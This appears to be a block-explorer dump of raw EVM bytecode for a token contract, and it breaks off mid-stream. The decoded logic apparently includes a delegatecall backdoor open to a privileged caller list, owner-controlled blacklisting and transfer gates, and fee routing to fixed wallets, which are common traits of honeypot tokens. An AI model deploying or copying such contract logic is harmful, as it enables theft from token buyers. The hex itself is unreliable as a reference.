b32565b61381f9190614ba3565b89878d61382c9190614b32565b6138369190614ba3565b613b54565b96505b505050505094509492505050565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138979190614c40565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516139379190613fdf565b60405180910390a3505050565b6001600f60006101000a81548160ff0219169083151502179055508060000315613abc578061397230610f76565b10613abc576000479050613987308330613b6d565b80476139939190614664565b9050600081036139a35750613abc565b6000600e54600c546139b59190614c40565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82600c5485613a029190614b32565b613a0c9190614ba3565b9081150290604051600060405180830381858888f19350505050158015613a37573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82600e5485613a839190614b32565b613a8d9190614ba3565b9081150290604051600060405180830381858888f19350505050158015613ab8573d6000803e3d6000fd5b5050505b6000600f60006101000a81548160ff02191690831515021790555050565b60006003821115613b415781905060006001600284613af99190614ba3565b613b039190614c40565b90505b81811015613b3b578091506002818285613b209190614ba3565b613b2a9190614c40565b613b349190614ba3565b9050613b06565b50613b4f565b60008214613b4e57600190505b5b919050565b6000818310613b635781613b65565b825b905092915050565b8273ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167a184f03e93ff9f4daa797ed6e38ed64bf6a1f0100000000000000006040518363ffffffff1660e01b8152600401613be5929190614da7565b6020604051808303816000875af1158015613c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c289190614de5565b506000600267ffffffffffffffff811115613c4657613c456141cb565b5b604051908082528060200260200182016040528015613c745781602001602082028036833780820191505090505b5090508381600081518110613c8c57613c8b61483a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81600181518110613cef57613cee61483a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866201518042613d7b9190614c40565b6040518663ffffffff1660e01b8152600401613d9b959493929190614f0b565b600060405180830381600087803b158015613db557600080fd5b505af1158015613dc9573d6000803e3d6000fd5b5050505050505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613e1282613de7565b9050919050565b613e2281613e07565b8114613e2d57600080fd5b50565b600081359050613e3f81613e19565b92915050565b600060208284031215613e5b57613e5a613ddd565b5b6000613e6984828501613e30565b91505092915050565b60008115159050919050565b613e8781613e72565b82525050565b6000602082019050613ea26000830184613e7e565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613ee2578082015181840152602081019050613ec7565b60008484015250505050565b6000601f19601f8301169050919050565b6000613f0a82613ea8565b613f148185613eb3565b9350613f24818560208601613ec4565b613f2d81613eee565b840191505092915050565b60006020820190508181036000830152613f528184613eff565b905092915050565b6000819050919050565b613f6d81613f5a565b8114613f7857600080fd5b50565b600081359050613f8a81613f64565b92915050565b60008060408385031215613fa757613fa6613ddd565b5b6000613fb585828601613e30565b9250506020613fc685828601613f7b565b9150509250929050565b613fd981613f5a565b82525050565b6000602082019050613ff46000830184613fd0565b92915050565b6000602082840312156140105761400f613ddd565b5b600061401e84828501613f7b565b91505092915050565b6000819050919050565b600061404c61404761404284613de7565b614027565b613de7565b9050919050565b600061405e82614031565b9050919050565b600061407082614053565b9050919050565b61408081614065565b82525050565b600060208201905061409b6000830184614077565b92915050565b6000806000606084860312156140ba576140b9613ddd565b5b60006140c886828701613e30565b93505060206140d986828701613e30565b92505060406140ea86828701613f7b565b9150509250925092565b600060ff82169050919050565b61410a816140f4565b82525050565b60006020820190506141256000830184614101565b92915050565b61413481613e07565b82525050565b600060208201905061414f600083018461412b565b92915050565b61415e81613e72565b811461416957600080fd5b50565b60008135905061417b81614155565b92915050565b6000806040838503121561419857614197613ddd565b5b60006141a685828601613e30565b92505060206141b78582860161416c565b9150509250929050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61420382613eee565b810181811067ffffffffffffffff82111715614222576142216141cb565b5b80604052505050565b6000614235613dd3565b905061424182826141fa565b919050565b600067ffffffffffffffff821115614261576142606141cb565b5b61426a82613eee565b9050602081019050919050565b82818337600083830152505050565b600061429961429484614246565b61422b565b9050828152602081018484840111156142b5576142b46141c6565b5b6142c0848285614277565b509392505050565b600082601f8301126142dd576142dc6141c1565b5b81356142ed848260208601614286565b91505092915050565b6000806040838503121561430d5761430c613ddd565b5b600061431b85828601613e30565b925050602083013567ffffffffffffffff81111561433c5761433b613de2565b5b614348858286016142c8565b9150509250929050565b6000806040838503121561436957614368613ddd565b5b600061437785828601613e30565b925050602061438885828601613e30565b9150509250929050565b600067ffffffffffffffff8211156143ad576143ac6141cb565b5b602082029050602081019050919050565b600080fd5b60006143d66143d184614392565b61422b565b905080838252602082019050602084028301858111156143f9576143f86143be565b5b835b81811015614422578061440e8882613e30565b8452602084019350506020810190506143fb565b5050509392505050565b600082601f830112614441576144406141c1565b5b81356144518482602086016143c3565b91505092915050565b6000806040838503121561447157614470613ddd565b5b600083013567ffffffffffffffff81111561448f5761448e613de2565b5b61449b8582860161442c565b92505060206144ac8582860161416c565b9150509250929050565b60006144c182614053565b9050919050565b6144d1816144b6565b82525050565b60006020820190506144ec60008301846144c8565b92915050565b6000806040838503121561450957614508613ddd565b5b600061451785828601613f7b565b925050602061452885828601613f7b565b9150509250929050565b60006060820190506145476000830186613fd0565b6145546020830185613fd0565b6145616040830184613fd0565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806145b057607f821691505b6020821081036145c3576145c2614569565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006145ff602083613eb3565b915061460a826145c9565b602082019050919050565b6000602082019050818103600083015261462e816145f2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061466f82613f5a565b915061467a83613f5a565b925082820390508181111561469257614691614635565b5b92915050565b7f216f6c0000000000000000000000000000000000000000000000000000000000600082015250565b60006146ce600383613eb3565b91506146d982614698565b602082019050919050565b600060208201905081810360008301526146fd816146c1565b9050919050565b7f74726164696e6700000000000000000000000000000000000000000000000000600082015250565b600061473a600783613eb3565b915061474582614704565b602082019050919050565b600060208201905081810360008301526147698161472d565b9050919050565b600081519050919050565b600081905092915050565b600061479182614770565b61479b818561477b565b93506147ab818560208601613ec4565b80840191505092915050565b60006147c38284614786565b915081905092915050565b7f32302d3230307700000000000000000000000000000000000000000000000000600082015250565b6000614804600783613eb3565b915061480f826147ce565b602082019050919050565b60006020820190508181036000830152614833816147f7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061487482613f5a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036148a6576148a5614635565b5b600182019050919050565b60006dffffffffffffffffffffffffffff82169050919050565b6148d4816148b1565b81146148df57600080fd5b50565b6000815190506148f1816148cb565b92915050565b600063ffffffff82169050919050565b614910816148f7565b811461491b57600080fd5b50565b60008151905061492d81614907565b92915050565b60008060006060848603121561494c5761494b613ddd565b5b600061495a868287016148e2565b935050602061496b868287016148e2565b925050604061497c8682870161491e565b9150509250925092565b60008151905061499581613f64565b92915050565b6000602082840312156149b1576149b0613ddd565b5b60006149bf84828501614986565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614a24602683613eb3565b9150614a2f826149c8565b604082019050919050565b60006020820190508181036000830152614a5381614a17565b9050919050565b7f624c000000000000000000000000000000000000000000000000000000000000600082015250565b6000614a90600283613eb3565b9150614a9b82614a5a565b602082019050919050565b60006020820190508181036000830152614abf81614a83565b9050919050565b7f424e450000000000000000000000000000000000000000000000000000000000600082015250565b6000614afc600383613eb3565b9150614b0782614ac6565b602082019050919050565b60006020820190508181036000830152614b2b81614aef565b9050919050565b6000614b3d82613f5a565b9150614b4883613f5a565b9250828202614b5681613f5a565b91508282048414831517614b6d57614b6c614635565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614bae82613f5a565b9150614bb983613f5a565b925082614bc957614bc8614b74565b5b828204905092915050565b7f6e6f206f70656e00000000000000000000000000000000000000000000000000600082015250565b6000614c0a600783613eb3565b9150614c1582614bd4565b602082019050919050565b60006020820190508181036000830152614c3981614bfd565b9050919050565b6000614c4b82613f5a565b9150614c5683613f5a565b9250828201905080821115614c6e57614c6d614635565b5b92915050565b7f4c696d6974000000000000000000000000000000000000000000000000000000600082015250565b6000614caa600583613eb3565b9150614cb582614c74565b602082019050919050565b60006020820190508181036000830152614cd981614c9d565b9050919050565b6000614ceb82613de7565b9050919050565b614cfb81614ce0565b82525050565b6000604082019050614d166000830185614cf2565b614d236020830184613fd0565b9392505050565b600081519050614d3981613e19565b92915050565b600060208284031215614d5557614d54613ddd565b5b6000614d6384828501614d2a565b91505092915050565b6000819050919050565b6000614d91614d8c614d8784614d6c565b614027565b613f5a565b9050919050565b614da181614d76565b82525050565b6000604082019050614dbc600083018561412b565b614dc96020830184614d98565b9392505050565b600081519050614ddf81614155565b92915050565b600060208284031215614dfb57614dfa613ddd565b5b6000614e0984828501614dd0565b91505092915050565b6000819050919050565b6000614e37614e32614e2d84614e12565b614027565b613f5a565b9050919050565b614e4781614e1c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614e8281613e07565b82525050565b6000614e948383614e79565b60208301905092915050565b6000602082019050919050565b6000614eb882614e4d565b614ec28185614e58565b9350614ecd83614e69565b8060005b83811015614efe578151614ee58882614e88565b9750614ef083614ea0565b925050600181019050614ed1565b5085935050505092915050565b600060a082019050614f206000830188613fd0565b614f2d6020830187614e3e565b8181036040830152614f3f8186614ead565b9050614f4e606083018561412b565b614f5b6080830184613fd0565b969550505050505056fea264697066735822122031ae1f91b91d95b67942469fe3eb98b3eb6f4039ca9766e469661f58aa58b73364736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102345760003560e01c80638b0cb94f1161012e578063a9059cbb116100ab578063d83d41431161006f578063d83d41431461082a578063dd62ed3e14610853578063e84fb12d14610890578063f2fde38b146108bb578063f63431bd146108e45761023b565b8063a9059cbb14610741578063c492f0461461077e578063ce4d9f15146107a7578063cf62e9ca146107d4578063d2c01fc4146107ff5761023b565b806395d89b41116100f257806395d89b411461066e5780639a55fff0146106995780639bb85344146106c25780639bcda849146106ed578063a8abb184146107185761023b565b80638b0cb94f1461059b5780638d653275146105c65780638d72647e146105ef5780638da5cb5b1461061a578063917ceeb5146106455761023b565b806347823ed0116101bc5780636c580801116101805780636c580801146104dc57806370a08231146104f3578063715018a61461053057806385141a77146105475780638907f21a146105725761023b565b806347823ed0146103f7578063553193ca14610420578063595dec3c1461044b57806368092bd9146104885780636ac3a7a4146104b15761023b565b80631f107a45116102035780631f107a4514610310578063206c17bb1461033957806323b872dd14610364578063313ce567146103a15780634188bf5a146103cc5761023b565b806301986fad1461024057806306fdde031461027d578063095ea7b3146102a857806318160ddd146102e55761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190613e45565b61090f565b6040516102749190613e8d565b60405180910390f35b34801561028957600080fd5b5061029261092f565b60405161029f9190613f38565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613f90565b6109c1565b6040516102dc9190613e8d565b60405180910390f35b3480156102f157600080fd5b506102fa6109d8565b6040516103079190613fdf565b60405180910390f35b34801561031c57600080fd5b5061033760048036038101906103329190613ffa565b6109e2565b005b34801561034557600080fd5b5061034e610a81565b60405161035b9190614086565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906140a1565b610aa7565b6040516103989190613e8d565b60405180910390f35b3480156103ad57600080fd5b506103b6610c4d565b6040516103c39190614110565b60405180910390f35b3480156103d857600080fd5b506103e1610c64565b6040516103ee919061413a565b60405180910390f35b34801561040357600080fd5b5061041e60048036038101906104199190614181565b610c8a565b005b34801561042c57600080fd5b50610435610d77565b6040516104429190613fdf565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190613e45565b610d7d565b60405161047f9190613e8d565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190614181565b610d9d565b005b3480156104bd57600080fd5b506104c6610e8d565b6040516104d39190613fdf565b60405180910390f35b3480156104e857600080fd5b506104f1610e93565b005b3480156104ff57600080fd5b5061051a60048036038101906105159190613e45565b610f76565b6040516105279190613fdf565b60405180910390f35b34801561053c57600080fd5b50610545610fbf565b005b34801561055357600080fd5b5061055c611112565b604051610569919061413a565b60405180910390f35b34801561057e57600080fd5b50610599600480360381019061059491906142f6565b611138565b005b3480156105a757600080fd5b506105b0611236565b6040516105bd9190613fdf565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190614352565b61123c565b005b3480156105fb57600080fd5b506106046116ed565b604051610611919061413a565b60405180910390f35b34801561062657600080fd5b5061062f611711565b60405161063c919061413a565b60405180910390f35b34801561065157600080fd5b5061066c60048036038101906106679190613ffa565b61173a565b005b34801561067a57600080fd5b5061068361182e565b6040516106909190613f38565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb919061445a565b6118c0565b005b3480156106ce57600080fd5b506106d76119ea565b6040516106e49190613fdf565b60405180910390f35b3480156106f957600080fd5b506107026119f0565b60405161070f91906144d7565b60405180910390f35b34801561072457600080fd5b5061073f600480360381019061073a91906144f2565b611a16565b005b34801561074d57600080fd5b5061076860048036038101906107639190613f90565b611abd565b6040516107759190613e8d565b60405180910390f35b34801561078a57600080fd5b506107a560048036038101906107a0919061445a565b611ad4565b005b3480156107b357600080fd5b506107bc611bfe565b6040516107cb93929190614532565b60405180910390f35b3480156107e057600080fd5b506107e9611dd2565b6040516107f691906144d7565b60405180910390f35b34801561080b57600080fd5b50610814611df8565b6040516108219190613fdf565b60405180910390f35b34801561083657600080fd5b50610851600480360381019061084c9190614181565b611dfe565b005b34801561085f57600080fd5b5061087a60048036038101906108759190614352565b611eee565b6040516108879190613fdf565b60405180910390f35b34801561089c57600080fd5b506108a5611f75565b6040516108b29190613fdf565b60405180910390f35b3480156108c757600080fd5b506108e260048036038101906108dd9190613e45565b611f7b565b005b3480156108f057600080fd5b506108f961213c565b6040516109069190613fdf565b60405180910390f35b60106020528060005260406000206000915054906101000a900460ff1681565b60606004805461093e90614598565b80601f016020809104026020016040519081016040528092919081815260200182805461096a90614598565b80156109b75780601f1061098c576101008083540402835291602001916109b7565b820191906000526020600020905b81548152906001019060200180831161099a57829003601f168201915b5050505050905090565b60006109ce338484612142565b6001905092915050565b6000600754905090565b6109ea61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90614615565b60405180910390fd5b8060158190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ab4848484612235565b600019600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c425781600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc19190614664565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600660009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000339050600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d12906146e4565b60405180910390fd5b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60135481565b60116020528060005260406000206000915054906101000a900460ff1681565b610da561222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990614615565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c5481565b610e9b61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90614615565b60405180910390fd5b601354600014610f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6490614750565b60405180910390fd5b43601381905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fc761222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90614615565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000339050600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c0906146e4565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff16826040516111ee91906147b7565b600060405180830381855af49150503d8060008114611229576040519150601f19603f3d011682016040523d82523d6000602084013e61122e565b606091505b505050505050565b600e5481565b61124461222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c890614615565b60405180910390fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db0306040518263ffffffff1660e01b815260040161136d919061413a565b600060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161141c919061413a565b600060405180830381600087803b15801561143657600080fd5b505af115801561144a573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db0836040518263ffffffff1660e01b81526004016114a9919061413a565b600060405180830381600087803b1580156114c357600080fd5b505af11580156114d7573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db061dead6040518263ffffffff1660e01b8152600401611538919061413a565b600060405180830381600087803b15801561155257600080fd5b505af1158015611566573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db060006040518263ffffffff1660e01b81526004016115c6919061413a565b600060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b5050505080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b7f000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61174261222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c690614615565b60405180910390fd5b62030d4081101580156117e55750621e84808111155b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b9061481a565b60405180910390fd5b8060168190555050565b60606005805461183d90614598565b80601f016020809104026020016040519081016040528092919081815260200182805461186990614598565b80156118b65780601f1061188b576101008083540402835291602001916118b6565b820191906000526020600020905b81548152906001019060200180831161189957829003601f168201915b5050505050905090565b6118c861222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c90614615565b60405180910390fd5b60005b82518110156119e55781601160008584815181106119795761197861483a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806119dd90614869565b915050611958565b505050565b60125481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a1e61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290614615565b60405180910390fd5b81600c8190555080600e819055505050565b6000611aca338484612235565b6001905092915050565b611adc61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6090614615565b60405180910390fd5b60005b8251811015611bf9578160106000858481518110611b8d57611b8c61483a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611bf190614869565b915050611b6c565b505050565b600080600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611c77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9b9190614933565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060007f000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c90503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161015611d2457829650819550611d2b565b8196508295505b8073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611d86919061413a565b602060405180830381865afa158015611da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc7919061499b565b945050505050909192565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b611e0661222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a90614615565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60165481565b611f8361222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200790614615565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361207f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207690614a3a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60145481565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122209190613fdf565b60405180910390a3505050565b600033905090565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122d75750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230d90614aa6565b60405180910390fd5b600061232184610f76565b905081811015612366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235d90614b12565b60405180910390fd5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561240a5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561243c57600061271061270f836124229190614b32565b61242c9190614ba3565b90508083111561243a578092505b505b6000806000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156124eb5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561250a576124f985612fd2565b9050600081111561250957600192505b5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161480156125b75750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156125cc576125c586613043565b905061262e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff160361262d5761262a86613142565b90505b5b600081111561263c57600192505b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614806126e75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16145b156128f1576012546000036127aa57601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561279c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16145b156127a957436012819055505b5b601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561284e5750601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128f05760019050841561286257600090505b6013546000036128bf57601254600010801561287b5750845b6128ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b190614c20565b60405180910390fd5b6128ef565b6014546013546128cf9190614